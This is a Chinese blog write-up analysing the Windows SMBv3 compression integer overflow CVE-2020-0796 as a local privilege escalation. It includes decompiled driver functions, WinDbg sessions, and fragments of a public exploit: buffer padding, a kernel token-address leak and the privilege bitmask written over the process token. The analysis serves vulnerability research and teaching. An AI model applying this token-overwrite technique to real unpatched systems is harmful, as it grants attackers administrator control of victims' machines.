CVE-2020-0796 windows SMB 内核提权漏洞复现与分析
前言
前几天看到a1ex
发了篇此漏洞的分析,之前想过分析这个win kernel的洞,不过没什么经验,刚好被我逮到一个可以问问题的2333,所以俺也来试着分析一下。
双机调试环境搭建
唔貌似网上的资料很多,看a1ex的博客或者搜别的都可,这里不赘述了。
漏洞分析
这个洞的影响非常大,我们之前分析的一些内核漏洞虽然也可以提权,但是很多在流行的发行版的内核中并不适用,而这个漏洞则可以在很多windows的发行版中直接使用,无需额外配置,这也是俺对它好奇的原因,因为第一次调win的洞,很多调试技巧和命令都多亏了a1ex
教俺,非常感谢。
搭建好双机调试环境之后在windbg preview的attach kernel那里附加到我们的被调试机,下断点的时候如bp srvNet!SrvNetAllocateBuffer
找不到符号文件的话可以开全局的代理而后使用.reload
重新加载符号文件,此时windbg会自动从符号服务器上下载刚刚没有解析的符号文件pdb,有了这些pdb在IDA中看起来方便很多。这里用到了俩,srvnet.pdb
和srv2.pdb
,先从被调试机拷出来之后配合.pdb就可以分析了。
首先了解一下smb协议,smb服务俺之前在实验室主机上搭过samba
服务,这个其实就是SMB
协议的实现,本篇分析主要是基于启明星辰
和a1ex的文章分析,漏洞位于srv2.sys
,Windows SMB v3.1.1 版本增加了对压缩数据的支持。下面为带压缩数据的SMB数据报文的构成。
前面是整个smb数据包的报头,中间是smb压缩数据包的包头。
根据微软MS-SMB2协议文档,SMB Compression Transform Header的结构如下图所示。
ProtocolId :4字节,必须0x424D53FC
OriginalComressedSegmentSize :4字节,未压缩数据的大小
CompressionAlgorithm :2字节,压缩算法,必须为下表中的某一个
Flags :2字节,必须为
SMB2_COMPRESSION_FLAG_NONE
或者SMB2_COMPRESSION_FLAG_CHAINED
Offset/Length :如果Flags为
SMB2_COMPRESSION_FLAG_CHAINED
,这个字段被作为Length
使用,其含义为压缩的payload的大小;否则这个字段被当作Offset
使用,其含义为压缩数据段的开始到本结构尾的距离。
漏洞出现在对于压缩数据的处理上,该函数为Srv2DecompressData
,调用SrvNetAllocateBuffer
函数为解压缩的数据分配内存空间时候使用OriginalComressedSegmentSize+Offset
作为函数参数,而这个参数的类型为unsigned int
,即32位整数,存在整数溢出的问题,假如我们传入的参数为0xffffffff+0x2
,则只会传入1
来进行空间分配,最终产生溢出。这种有点类似我们之前做题遇到的base64解码前分配的空间不足导致溢出的pwn题。
SmbCompressionDecompress
这个解压缩函数最终会调用到RtlDecompressBufferEx2
函数,通过RtlDecompressBufferEx2函数原型可以反推测出SmbCompressionDecompress
函数的参数。
- CompressAlog:压缩算法
- CompressedBuffer:指向压缩数据包中的的压缩数据
- CompressedBufferSize:压缩数据的大小
- UncompressedBuffer:解压缩后数据的存储地址
- UncompressedBufferSize:压缩数据的原始大小
- FinalUncompressedSize:解压缩后的数据大小
1 | __int64 __fastcall SmbCompressionDecompress(int CompressAlog, __int64 CompressedBuffer, int CompressedBufferSize, __int64 UncompressedBuffer, unsigned int UncompressedBufferSize, unsigned int *FinalUncompressedSize) |
Srv2DecompressData按照参数加了注释,该函数的处理流程如下。
- 从smb_packet数据包中提取出SMB Compression Transform Header记作smb_ct_header
- smb_ct_header中根据偏移可以得到算法,通过
SrvNetAllocateBuffer(OriginalComressedSegmentSize+Offset)
分配内存空间,返回值为alloc_buf - 调用
SmbCompressionDecompress(int CompressAlog, __int64 CompressedBuffer, int CompressedBufferSize, __int64 UncompressedBuffer, unsigned int UncompressedBufferSize, unsigned int *FinalUncompressedSize)
来进行解压缩,注意这里的参数4为*(alloc_buf+0x18)+0x10
,即解压缩的数据位于alloc_buf+0x18的位置 - 比较解压缩的数据大小和原始数据大小是否一致,如果一致的话就调用memmove将解压缩的数据拷贝到*(alloc_buf+0x18)指向的地址处。
- 最后使用alloc_buf替换smb_packet。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48signed __int64 __fastcall Srv2DecompressData(__int64 smb_packet)
{
__int64 smb_ct_header; // rax
__m128i v3; // xmm0
unsigned int CompressAlog; // ebp
__int64 alloc_buf1; // rax
__int64 alloc_buf; // rbx
int v8; // eax
__m128i Size; // [rsp+30h] [rbp-28h]
int FinalUncompressedSize; // [rsp+60h] [rbp+8h] BYREF
FinalUncompressedSize = 0;
smb_ct_header = *(_QWORD *)(smb_packet + 0xF0);
if ( *(_DWORD *)(smb_ct_header + 36) < 0x10u )
return 0xC000090Bi64;
Size = *(__m128i *)*(_QWORD *)(smb_ct_header + 0x18);// tcp payload size
v3 = _mm_srli_si128(Size, 8); // 右移动8个字节
CompressAlog = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 0x50) + 496i64) + 140i64);
if ( CompressAlog != v3.m128i_u16[0] )
return 0xC00000BBi64;
alloc_buf1 = SrvNetAllocateBuffer((unsigned int)(Size.m128i_i32[1] + v3.m128i_i32[1]), 0i64);
alloc_buf = alloc_buf1;
if ( !alloc_buf1 )
return 3221225626i64;
if ( (int)SmbCompressionDecompress(
CompressAlog,
*(_QWORD *)(*(_QWORD *)(smb_packet + 0xF0) + 24i64) + Size.m128i_u32[3] + 16i64,// CompressedBuffer:payload+offset+0x10
(unsigned int)(*(_DWORD *)(*(_QWORD *)(smb_packet + 0xF0) + 36i64) - Size.m128i_i32[3] - 16),// CompressedBufferSize:payload_size-offset-0x10
Size.m128i_u32[3] + *(_QWORD *)(alloc_buf1 + 0x18),// UncompressedBuffer:*(alloc_buf+0x18)+offset
Size.m128i_i32[1], // UncompressedBufferSize:OriginalComressedSegmentSize字段
&FinalUncompressedSize) < 0
|| (v8 = FinalUncompressedSize, FinalUncompressedSize != Size.m128i_i32[1]) )// 注意这里的判断条件,最终解压缩之后的数据大小需要等于原来的字段中的解压缩数据大小
{
SrvNetFreeBuffer(alloc_buf);
return 0xC000090Bi64;
}
if ( Size.m128i_i32[3] )
{
memmove( // 内存写入
*(void **)(alloc_buf + 0x18),
(const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 0xF0) + 24i64) + 16i64),// payload+0x10
Size.m128i_u32[3]); // Offset
v8 = FinalUncompressedSize;
}
*(_DWORD *)(alloc_buf + 0x24) = Size.m128i_i32[3] + v8;
Srv2ReplaceReceiveBuffer(smb_packet, alloc_buf);
return 0i64;
}
图的话比干讲形象很多,右边是alloc_buf,decompress的数据会拷贝到指定地址处,由于原本分配的大小较小,在拷贝的时候会产生溢出。
在exp中给的数据为0xffffffff+0x10
,即传入参数为9,我们看下分配的实际大小是多少。
我们的参数小于0x1100
,直接从SrvNetBufferLookasides[0]
获取内存,查看其相对引用,在SrvNetCreateBufferLookasides
创建,该函数循环调用SrvNetBufferLookasideAllocate
函数来分配内存,写个脚本看下分配的内存,大小为0x1100 0x2100 0x4100 0x8100 0x10100 0x20100 0x40100 0x80100 0x100100 0x200100
,该函数实际上调用SrvNetAllocateBufferFromPool
函数。
1 | __int64 __fastcall SrvNetAllocateBuffer(unsigned __int64 alloc_sz, __int64 a2) |
SrvNetAllocateBufferFromPool
函数调用ExAllocatePoolWithTag
函数分配内存,分配之后对内存做了初始化操作,最后返回了一个内存信息结构体指针作为函数的返回值。
1 | return_buffer = (unsigned __int64)&v8[v2 + 0x57] & 0xFFFFFFFFFFFFFFF8ui64;// return_buf等于分配的alloc_buf+0x1150 |
最后的数据结构的示意图如下图所示,整个大的结构是ExAllocatePoolWithTag
分配的,这点很好理解,我们按照分配链往下走,最后负责分配的一定是要分配最多空间的,回溯的时候不同部分给不同函数做管理使用。分配的整个空间的前0x50字节不知道用来做什么,再往下的user_buf
就是用户可以操作的部分,这部分用来存放我们的数据。再往下偏移为0x1150处是一个内存管理结构体,这个结构体指针将作为返回值return_buf
返回给最开始的那个分配函数,其偏移为0x18处存储着user_buf
的地址。
另外解压还有个关键的条件是我们解压后的数据大小要和原字段中的大小相同,我们可以看到在RtlDecompressBufferEx2
执行完后有一处*FinalUncompressedSize1 = UncompressedBufferSize1;
,这个赋值导致最后的结果恒成立。
1 | __int64 __fastcall SmbCompressionDecompress(int CompressAlog, __int64 CompressedBuffer, int CompressedBufferSize, __int64 UncompressedBuffer, unsigned int UncompressedBufferSize, unsigned int *FinalUncompressedSize) |
继续往后看,解压后的数据将会填充到user_buf+0x10
的位置,我们填充的数据如下,我们将从实际分配的内存+0x60处开始拷贝,也就是拷贝到距离0x1150+0x18的地方填充上ktoken+0x40
1 | memset(buffer, 'A', 0x1108); |
随后在memmove((alloc_buffer+0x18),SMB_payload,offset
调用中可以向权限结构体里写入SMB_payload
从而提权成功,至此exp这个进程的权限提升到了管理员,后面再在进程中注入shellcode执行恶意功能。
exp中获取token的代码如下,通过OpenProcessToken
获取当前进程的权限令牌,再通过get_handle_addr
函数获取令牌的地址。
- 在Windows上有一些众所周知的信息泄漏技巧,如本例中使用的NtQuerySystemInformation函数。这个函数有一些神奇的功能,它会返回许多内核地址。我们主要感兴趣的是此函数能够提供目前分配的每个对象的列表,使用SystemExtendedHandleInformation参数调用NtQuerySystemInformation,我们可以得到SYSTEM_HANDLE_INFORMATION_EX结构。借助此列表,我们可以使用PID和句柄获取所需对象的内核地址。
1 | ULONG64 get_handle_addr(HANDLE h) { |
参考CVE-2014-4113 Win8.1 64位利用看下如何获得高权限的TOKEN,内核中TOKEN对象结构中有一个很重要的SEP_TOKEN_PRIVILEGES结构,其中的每一位都代表一种权限,如下所示,Present字段表示启用的特权,Enabled字段表示拥有的特权.在决定一个Token所表示的权限时,SEP_TOKEN_PRIVILEGES结构中的Enable的值是真正起作用的。可见似乎可以通过改写[TOKEN+0x48]处的值来改变权限。
SEP_TOKEN_PRIVILEGES结构中最重要的是SeDebugPrivilege权限。只要具有该权限,就可以调试系统进程,也就具有注入代码到系统进程并远程执行的权限,等于有了管理员权限。所以一定得保证该标志位为1。
可以看这篇文章看下如何查看令牌权限的变化。
在我们的exp里的令牌数据赋值发生在下面
1 | *(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC; |
漏洞调试
开机之后attach上去下断点,而后g
或者F5
1 | 0: kd> bl |
多搞几次断到Srv2DecompressData
,运行到mov rax, qword ptr [rax+18h]
的赋值,这对应函数中的smb_ct_heder = *(__m128i *)*(_QWORD *)(smb_ct_header + 0x18);
,d rax
查看rax
寄存器的数据,对应exp构造的smb header,offset后面跟的就是压缩的数据,注意数据前0x10被赋值为了特权令牌的关键权限位。
1 | const uint8_t buf[] = { |
g fffff8041c967ee0
跳到调用srvnet!SrvNetAllocateBuffer
处,查看参数,为0xf和0
p
之后进入函数,gu
等于gdb的finish
,执行完当前函数返回值存放在rax中,ffff900c03a60150
+0x18处保存着user_buf
地址
g
运行到下一个断点即srvnet!SmbCompressionDecompress
,我们还是gu
执行完这个函数,然后d ffff900c03a60150
查看return_buf
存储的user_buf
已经被改成了ktoken_addr+0x40
。
我们使用!process 0 0
找寻系统的所有进程,找到漏洞程序 cve-2020-0796-local.exe所在的进程地址,输入dt _EPROCESS addr
来查看该进程的数据结构,在 0x360处我们能找到token结构,这里直接点击该成员就会展示出来。
1 | PROCESS ffff900c0291f080 |
- 你可能已经注意到在_EPROCESS结构体中,token字段是以_EX_FAST_REF来声明的而不是期望的_TOKEN结构。_EX_FAST_REF结构是一种技巧,它依赖于一种假定,在16字节的边界上需要将内核数据结构对齐到内存中。这意味着一个指向token或其他任何内核对象的指针最低的4个位永远都是0(十六进制就是最后一个数永远为0)。Windows因此可以自由的使用该指针的低4位用于其他目的.
1 | 2: kd> dt _EX_FAST_REF |
从_EX_FAST_REF中获取实际的指针只需要简单的修改最后的一位十六进制数位0即可。通过程序实现的话,就将最低4位的值与0值按位与。
可以通过dt _TOKEN或更好的!token扩展命令来显示一个token。
1 | 2: kd> dt _TOKEN |
得到token实际地址ffffa38bd189d770
后查看其结构.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
562: kd> ? 0xffffa38bd189d778 & ffffffff`fffffff0
Evaluate expression: -101654065457296 = ffffa38b`d189d770
2: kd> !token ffffa38b`d189d770
_TOKEN 0xffffa38bd189d770
TS Session ID: 0x1
User: S-1-5-21-3965716127-288158643-3447225976-1001
User Groups:
00 S-1-16-8192
Attributes - GroupIntegrity GroupIntegrityEnabled
01 S-1-1-0
Attributes - Mandatory Default Enabled
02 S-1-5-114
Attributes - DenyOnly
03 S-1-5-32-544
Attributes - DenyOnly
04 S-1-5-32-545
Attributes - Mandatory Default Enabled
05 S-1-5-4
Attributes - Mandatory Default Enabled
06 S-1-2-1
Attributes - Mandatory Default Enabled
07 S-1-5-11
Attributes - Mandatory Default Enabled
08 S-1-5-15
Attributes - Mandatory Default Enabled
09 S-1-11-96-3623454863-58364-18864-2661722203-1597581903-3040155090-2699348868-2212403739-2132912781-15699764
Attributes - Mandatory Default Enabled
10 S-1-5-113
Attributes - Mandatory Default Enabled
11 S-1-5-5-0-183069
Attributes - Mandatory Default Enabled LogonId
12 S-1-2-0
Attributes - Mandatory Default Enabled
13 S-1-5-64-36
Attributes - Mandatory Default Enabled
Primary Group: S-1-5-21-3965716127-288158643-3447225976-1001
Privs:
19 0x000000013 SeShutdownPrivilege Attributes -
23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default
25 0x000000019 SeUndockPrivilege Attributes -
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes -
34 0x000000022 SeTimeZonePrivilege Attributes -
Authentication ID: (0,2e63f)
Impersonation Level: Anonymous
TokenType: Primary
Source: User32 TokenFlags: 0x2a00 ( Token in use )
Token ID: 17774c ParentToken ID: 0
Modified ID: (0, 2e64d)
RestrictedSidCount: 0 RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 3e7
PackageSid: (null)
CapabilityCount: 0 Capabilities: 0x0000000000000000
LowboxNumberEntry: 0x0000000000000000
Security Attributes:
Unable to get the offset of nt!_AUTHZBASEP_SECURITY_ATTRIBUTE.ListLink
Process Token TrustLevelSid: (null)
ffffa38bd189d770+0x40=ffffa38bd189d7b0
(回看下刚才的buf+0x18修改的值可以对应上),我们使用SEP_TOKEN_PRIVILEGES
结构查看这里的值,可以看到权限较低。
1 | 2: kd> dt nt!_SEP_TOKEN_PRIVILEGES ffffa38bd189d7b0 |
我们使用gu addr
运行到memmove
这里,rcx rdx r8分别对应三个参数,查看此时的数据可以看到我们拷贝了0x10的特权进程的数据进去。
1 | 2: kd> dq rcx |
拷贝之后再看,token的标志位成功修改。
1 | 2: kd> dq ffffa38b`d189d7b0 L2 |
disable
掉所有断点再g
,最终调用shellcode弹出了cmd窗口并且权限为管理员。